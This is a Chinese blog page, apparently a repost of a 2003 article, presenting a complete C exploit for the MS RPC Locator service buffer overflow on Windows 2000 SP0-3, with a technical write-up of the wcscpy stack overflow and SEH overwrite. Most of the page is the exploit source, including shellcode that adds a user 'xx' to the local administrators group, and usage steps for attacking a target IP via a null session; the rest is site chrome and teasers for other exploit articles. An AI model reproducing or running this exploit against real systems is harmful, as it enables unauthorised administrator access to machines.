【分析】MS RPC LOCATOR Service Exploit for win2k(new version)

WebDav漏洞简单分析及通用exploit设计 WebDav漏洞简单分析及通用exploit设计    拜读了isno写的>、>,以及Nankia写的>之后,用他们发布的exploit、以及能在网上找到的exploit在我的一些测试机上测试,有些成功,有些不成功。于是便想自己调试一下。在后来的调试过程中,参考了大量资料,特别是yuange所写的>。在这过程中我学到了很多东西,自己也有些心得体会,其中可能有不少错误的地方,于是便想写下来,一来请各 阅读详情

MS RPC LOCATOR Service Exploit for win2k(new version)


创建时间:2003-04-07
文章属性:原创
文章提交: eyas (ey4s_at_21cn.com)

/*------------------------------------------------------------------------------------
Created at:        2003-04-05
Last updated:    2003-04-07
      前几天在packetstorm下载rpcexp.c试了试,没成功,但locator服务却当掉了。于是便想看看到底怎么
回事。后来找到点资料,原来是个stack溢出,问题出在wcscpy函数。跟踪了一下,函数调用关系是
这样的:

locator!Locator::nsi_binding_lookup_begin:
    |__locator!Locator::nsi_binding_lookup_begin_name:
        |__locator!CRemoteLookupHandle::finished:
            |__locator!CBroadcastLookupHandle::initialize:
                |__locator!getBroadcastResults
                    |__locator!formQueryPacket
                        |__wcscpy     <-- buff overflow


    getBroadcastResults函数的返回地址在buff+0x514处,经测试,win2k中文、英文 sp0-3版本的
溢出点都一样。但是如果覆盖getBroadcastResults函数的返回地址,在locator!formQueryPacket
后面的代码运行会出现0xC0000005错误,这样的话,那就只好覆盖SEH了。Exception Handler地址
存放在buff+0x504处,中英文sp0-3版本都一样。Marcin Wolak写的rpcexp.c 的jmpaddr为0x0090F8F0,
我估计这个地址是他自己在测试的时候,shellcode存放的地址,他在SEH处直接跳到shellcode去了,
因为我在测试的时候,wcscpy将我们的buff copy到0x009xxxxx附近,当然, 这在不同平台上测试的
时候会有所不同,甚至相差很大。仅仅是猜测而已,因为我初学这个,看不懂他的代码:(。

    改写后的SEH显然在这里指向jmp esp是不行了,后来跟踪的时候发现, 当Exception发生后,
Windows系统正准备处理Exception的一刹那间,寄存器ebx正好指向当前存放Exception Handler地址的
地址-4,即是说假如Exception Handler地址存放在0x0098F8EC,那么EBX值就为0x0098F8E8。这样的话,
改写Exception Handler地址为call ebx的地址就可以执行我们的shellcode了。后来回过头来看莫大
的文章时,才看到在他文章里面这个已经写的比较详细了,我看资料太不认真了:(。不过莫大没有说
原理,所以到底为什么会这样,我也不知道。

    call ebx的地址在不同平台上并不通用,后来看了一下各平台上的locator.exe版本,发现sp0、sp1
中版本为都为5.0.2195.1,sp2版本为5.0.2195.2505,sp3版本为5.0.2195.3761,打过补丁后的版本
为5.0.2195.6136。locator.exe版本改动较少,于是便决定用locator.exe里面的call ebx地址,kernel32
这些dll,几乎每个hotfixs都要更新,用里面的call ebx地址就很不通用了。

    搜索的时候发现sp1、sp2中call ebx地址相同的有10个,sp1和sp3中有一个相同地址,sp2和sp3
无相同地址。但是也发现一个很好玩的地方,例如sp1中在0x0100a8eb有call ebx,那么sp3中在0x0100a8ec
也有个call ebx,嘿嘿。。
    
    经过比较,jmp addr我决定用0x0100AEE5,在sp0、sp1、sp2中,
0:004> u 0x0100AEE5
0100aee5 ffd3             call    ebx
    在sp3中,    
0:004> u 0x0100AEE5
0100aee5 40               inc     eax
0100aee6 ffd3             call    ebx

    我们发送的buff结构如下:
|rpc_head_info?(8)|NOP(0x4F8)|jmp 0xA(2)|NOP(2)|call ebx addr(4)|NOP(4)|shellcode|

    shellcode没什么特殊要求,只要没有"/x00/x00"就可以了,不然会被wcscpy截短。
    shellcode代码大部分直接来自莫大的文章,感谢他,感谢莫大、backend、ipxodi等精彩的
关于windows平台缓冲区溢出的文章。
-------------------------------------------------------------------------------------*/
#define UNICODE
#define RPC_UNICODE_SUPPORTED

#include <stdio.h>
#include <rpc.h>
#include <rpcnsi.h>

#pragma comment(lib, "rpcns4.lib")

//SEH Handler地址偏移,win2k所有版本溢出点都一样
#define    sehoffset    0x504
//call ebx addr in locator.exe process
/*
sp0 sp1 sp2
0:004> u 0x0100AEE5
0100aee5 ffd3             call    ebx
sp3    
0:004> u 0x0100AEE5
0100aee5 40               inc     eax
0100aee6 ffd3             call    ebx
*/
#define    JMPADDR "/xE5/xAE/x00/x01"
#define    JMPOVER "/xEB/x0A/x90/x90"//jmp    0xa

//hey,guy,you should modify this code slightly by yourself.
char shellcode [] =
"/x55/x8B/xEC/xEB/x64/x5A/xB8/x04"
"/x00/xF1/x77/x81/x38/x4D/x5A/x90"
"/x00/x74/x03/x48/xEB/xF5/x8B/xD8"
"/x8B/x73/x3C/x03/xF3/x8B/x76/x78"
"/x03/xF3/x8B/x7E/x20/x03/xFB/x8B"
"/x4E/x14/x33/xED/x56/x57/x51/x8B"
"/x3F/x03/xFB/x8B/xF2/x33/xC9/x83"
"/xC1/x0E/xF3/xA6/x74/x08/x59/x5F"
"/x83/xC7/x04/x45/xE2/xE7/x59/x5F"
"/x5E/x8B/xCD/x8B/x46/x24/x03/xC3"
"/xD1/xE1/x03/xC1/x33/xC9/x66/x8B"
"/x08/x8B/x46/x1C/x03/xC3/xC1/xE1"
"/x02/x03/xC1/x8B/x00/x03/xC3/xEB"
"/x02/xEB/x37/x8B/xFA/x8B/xF2/x89"
"/x06/x83/xC7/x0F/x57/x53/xFF/xD0"
"/x83/xC6/x04/x89/x06/x83/xC7/x08"
"/x57/x53/x8B/x46/xFC/xFF/xD0/x83"
"/xC6/x04/x89/x06/x33/xC0/x50/x83"
"/xC7/x06/x57/x8B/x46/xFC/xFF/xD0"
"/xB8/xFF/xFF/xFF/xFF/x50/x8B/x06"
"/xFF/xD0/xE8/x5E/xFF/xFF/xFF"
"getprocaddress""/x0"
"winexec""/x0"
"sleep""/x0"
"cmd /c net.exe user xx 1a!.9nH /add && net localgroup administrators xx /add";

DWORD WINAPI func(LPVOID lp)
{
    unsigned char    buff[4000];
    unsigned short * pszStrBinding = NULL;
    RPC_NS_HANDLE hnsHandle;
    unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT;
    RPC_STATUS status;
    unsigned long i;

    //填充buff
    buff[0] = '/';
    buff[1] = 0;
    buff[2] = '.';
    buff[3] = 0;
    buff[4] = ':';
    buff[5] = 0;
    buff[6] = '/';
    buff[7] = 0;
    for (i=8;i<sehoffset-4;i++)
    {
        buff[i] = '/x90';
    }
    strcpy(&buff[i], JMPOVER);
    //jmpaddr可能包含有0
    memcpy(&buff[i+4], JMPADDR, 4);
    strcpy(&buff[i+8], "/x90/x90/x90/x90");
    memcpy(&buff[i+12], shellcode, sizeof(shellcode));

    RpcTryExcept
    {
        status = RpcNsBindingLookupBegin(NsSntxType,
                                         (unsigned short *) buff,
                                         0,
                                         NULL,
                                         0,
                                         &hnsHandle);
            printf("RpcNsBindingLookupBegin returned 0x%x/n", status);
    }
    RpcExcept(1)
    {
        printf("RPC Runtime raised exception 0x%x/n", RpcExceptionCode());
    }
    RpcEndExcept
    return 0;
}
void usage()
{
        printf( "/nxLocator -- MS RPC LOCATOR Service Exploit for win2k_en_cn_sp0-3/n"
                "Author: cooleyas@21cn.com 2003-04-07/n"
                "Based on Marcin Wolak/'s rpcexp.c/n/n"
                "usage:/n"
                "1.Set registry values in Your workstation as below:/n"
                "   HKLM//SOFTWARE//Microsoft//Rpc//NameService//NetworkAddress = targetIP/n"
                "   HKLM//SOFTWARE//Microsoft//Rpc//NameService//ServerNetworkAddress = targetIP/n"
                "2.Establish null session: net use ////targetIP//ipc$ /"/"/u: /"/"/n"
                "3.Run Exploit: xLocator/n"
                "  if success,target will add a user /"xx/" passwd is /"1a!.9nH/"./n");
}
void _CRTAPI1 main(int argc, char **argv)
{
    
    if(argc!=1)
    {
        usage();
        exit(0);
    }
    CreateThread(NULL, 0, func, NULL, 0, NULL);
    Sleep(4000);
    printf("Done./n");
} /*End of Main*/
实战详细讲解Qt插件plugin的编写与用法 qt插件的开发,可以说是动态库的开发,因为调用方式类似,多熟悉一下,利用Qt框架开发很简单的。在想想这种调用过程有的熟悉,比如公司买了一堆摄像头,公司要对摄像头进行二次开发,实现自己想要的功能,集成到一套设备里去,然后在卖给用户。此时厂商肯定会提供开发文档,并给你SDK包(软件开发工具包), 包里你会发现只有头文件和一堆库文件,没有源文件,因为实现的过程是产商公司保密的,给你看还得了。所以都封装成了库的形式给你调用,如静态库或者动态库。 阅读详情

相关推荐

合泰单片机HT32之keil5开发环境搭建(一)

1. 前言 这两天在准备合泰杯,但是总是感觉无从下手,因为合泰单片机的资料教程什么的非常少,不像stm32那样。而且听说要用合泰单片机的专用IDE,感觉当场被劝退了。后来经过查找资料,发现合泰单片机也有keil5的支持包,也就是说可以从库函数进行开发,不用从寄存器进行开发,但我找了好久,并没有找到教程,后来实在没办法,打算自己动手搭建环境,经过了大概两天的挣扎后,终于成功地搭建好了环境,也成功地点...

weixin_44713763的博客 8671

tcp/udp 常用端口列表

计算机之间依照互联网传输层TCP/IP协议不同的协议通信,都有不同的对应端口。所以,利用短信(datagram)的UDP,所采用的端口号码不一定和采用TCP的端口号码一样。以下为两种通信协议的端口列表链接: 端口状态颜色图例 以下方块,以如下颜色和标签,标明了端口的状态: 使用状态 叙述 颜色 官方 应用与端口组合记录在IANA的端口分配列表中[1] 白 非官方 应用与端口组合不在IANA的端口分配列表中; 蓝 多重使用 已知多个应用程...

whatday的专栏 1万+

【图文步骤】EC-Engineer部分操作详细步骤

EC-Engineer部分功能详细使用手册

weixin_42212468的博客 6175

rpc 编程(搞了好久查了好多资料)希望对大家有用

RPC总结 Server:                               1.  注册接口 注册一个服务程序所支持的接口是为了使客户程序能够找到服务程序在那个服务器诉诸计算机上运行,服务程序调用RpcServerRegisterIf来注册他们的接口。下面的代码片断演示了它的作用: 2.  创建绑定信息 为了注册一个端点,并向名字服务数据库宣布自己的存在

会飞的狼的专栏 1357

保姆级教程:用Python+OpenCV搞定Orbbec Gemini深度与彩色流对齐(附完整代码)

本文提供了一份详细的Orbbec Gemini深度与彩色流对齐教程,涵盖从环境配置到完整代码实现的每一步。通过解析深度流对齐原理,对比不同对齐模式,并提供工业级应用中的问题排查方法,帮助开发者快速掌握Orbbec Gemini相机的使用技巧。文章还包含进阶应用如点云生成与三维重建的实战代码。

weixin_29090917的博客 470

ENVI无法打开Landsat8的头文件问题和解决

再次将txt文件拖入ENVI中,就会得到7个波段组合后的真彩色图像,而且辐射定标所需的参数信息都已经定义好了。按住CTRL+F,查找GROUP = LEVEL1_PROCESSING_RECORD。第一行GROUP = LANDSAT_METADATA_FILE。会查到两个包含的句子,把这两个中间的部分全部删掉。双击打开该xxx_MTL.txt的头文件。删除空行后,应该为如下图的样子。把LANDSAT改为L1。

所有专家都曾始于新手 9702

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

【PostgreSQL数据分析实战:从数据清洗到可视化全流程】5.2 数据分组与透视(CUBE/ROLLUP/GROUPING SETS)

【PostgreSQL数据分析实战:从数据清洗到可视化全流程】5.2 数据分组与透视(CUBE/ROLLUP/GROUPING SETS)

kngines 1839

Metasploit Framework all part 1-3

Metasploit Framework, Part 1 Pukhraj Singh, K.K. Mookhey 2004-07-12 <!--This article provides an elaborate insight into the Open Source exploit framework, the Metasploit Fra

FreeXploiT 7212

基于STM32+4G模块设计的智能灌溉系统

当前智能灌溉系统分为三个部分:温湿度采集部分、灌溉系统部分、OneNet云平台。 灌溉系统部分增加刷卡功能,用户可以通过IC卡刷卡将金额刷到灌溉系统设备里,灌溉系统设备里会记录金额,并且在手机可视化页面上会显示当前的设备金额。 金额会随着时间进行递减,按分钟计费,如果计费到0,就无法启动灌溉,需要重新充值金额才能继续。

4515

npm报错 npm WARN deprecated....的问题解决方式

报错 :npm WARN deprecated … 现象:无法进行有效的vue项目的部署以及npm install 命令的执行。 原因一:版本问题 说明:由于npm的版本过低或者过高导致的报错 检查版本: npm -v 如果版本是比较旧的,或者是最新的,这里可以进行对npm的更新和回退。 更新npm版本: npm updated -d 查看可以更新的版本 npm install -g npm 默认安装最新版本 安装回退指定的版本: npm updated -d 查看所有的版本 npm -g i.

任聪聪的博客 16万+

强大溢出工具包:Metasploit命令行下的使用 (转至77169)

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到

FreeXploiT 7174

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

【分析】对于SSH crc32 compensation attack detector exploit 的分析

对于SSH crc32 compensation attack detector exploit 的分析创建时间:2001-11-12文章属性:整理文章提交:xundi (xundi_at_xfocus.org)by xundi@xfocus.orghttp://xfocus.org2001/11/10由于SSH crc32 compensation attack detector exploit

FreeXploiT 3575

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

【实战】Serv-U "site chmod xxx" Exploit

Serv-U "site chmod xxx" Exploit创建时间:2004-02-20文章属性:转载文章提交:velvet (zodiacsoft_at_hotmail.com)论坛登陆名: SWAN提交者邮件地址: ????提交者QQ号码: ????版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!标题: Serv-U "site ch

FreeXploiT 3009

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

【分析】通用的攻击WebDAV漏洞的方法

通用的攻击WebDAV漏洞的方法创建时间:2003-03-29文章属性:原创文章来源:http://www.xfocus.net文章提交:isno (isno_at_sina.com)by isno    前几天写的WebDAV漏洞的分析和溢出程序,有一些网友对exploit程序的成功率提出了质疑,哈哈,那个程序确实写的不好,成功率是比较低的。这两天我又翻出yuange原来写的《widechar的

FreeXploiT 2941

【原理+实战】window系统下的堆栈溢出

window系统下的堆栈溢出作者:ipxodi>日期:2000-05-23◆原理篇这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。让我们从头开始。windows 98第二版首先,我们来写一个问题程序:#include int main(){char name[32];gets(name);for(int i=0;iprintf("//0x%x"

FreeXploiT 2765

Win32 缓冲区溢出实战 (转)

Win32 缓冲区溢出实战 --------------------------------------------------------------------------------    原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写

FreeXploiT 2554

【分析】Serv-U "MDTM"命令远程溢出分析

Serv-U "MDTM"命令远程溢出分析创建时间:2004-03-05文章属性:转载文章提交:peak (pe4k_at_eyou.com)Serv-U "MDTM"命令远程溢出分析                                       czy 于 04.02.29    2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must ha

FreeXploiT 2552

--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

 作者:FLASHSKY(原创)作者邮箱:flashsky@xfocus.org站点:    www.xfocus.net申明: 作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术给予较高的关注,提出查杀和避免

FreeXploiT 2374

【原理】UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.创建时间:2002-08-15文章属性:翻译文章提交:1cbm (edp_at_mail.victoriagrandhotel.com)UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums. =======

FreeXploiT 2373

nc 1.1 -e 远程缓冲区溢出

/* Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1 Homepage..........: http://www.securityfocus.com/tools/139/scoreit Affected versions.: v1.1 Fix....

FreeXploiT 2360

浅析mcafee的“缓冲区溢出保护”及绕过方法【安焦Leven】

[mcafee的“缓冲区溢出保护”]    如果处在堆栈里的shellcode调用了getprocaddress等函数,mcafee会中止当前进程并报警。[分析原理]    mcafee对所有进程截获了loadlibrarya、loadlibraryw、getprocaddress等api函数,方法类似api截获:将这些函数的开始几个字节改为call detectapiret,即调用entapi.

FreeXploiT 2354

【例子】WIN平台缓冲溢出程序编写

创建时间:2001-06-30文章属性:转载文章来源:http://go4.163.com/watercloud/文章提交:quack (quack_at_xfocus.org)post by cloud (safesuite@263.net)最近刚研究了WIN平台的溢出,在openlab(61.150.43.7) VC版贴过.后来整理了一下 下载win_of.zip题目有:        01

FreeXploiT 2226

模型之外的那套装置:用 AI harness 完成一个三端同步应用

AI harness 指模型之外、让模型能持续产出可交付软件的全部工程装置。本文把它称作"支架"。它由五层构成:输入层规定模型读什么,反馈层规定模型怎么知道自己错了,观测层把界面与设备状态变成可读事实,记忆层让跨会话不失真,边界层规定哪些动作不许模型自行作出。支架的价值在六天里可以直接计量。

Leo的Matrix 182

附录一源码阅读路线与断点索引

本索引固定于Boot 3.5.7与Framework 6.2.12。先选择要解释的现象,再打开对应源码。表中观察对象是逻辑名称,不保证在所有重载中都是同名局部变量。抽象接口和注解用于阅读契约,不提供可执行方法体断点。

weixin_45476869的博客 164
上一篇: 【实战】WebDav漏洞简单分析及通用exploit设计
下一篇: 【分析】通用的攻击WebDAV漏洞的方法
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值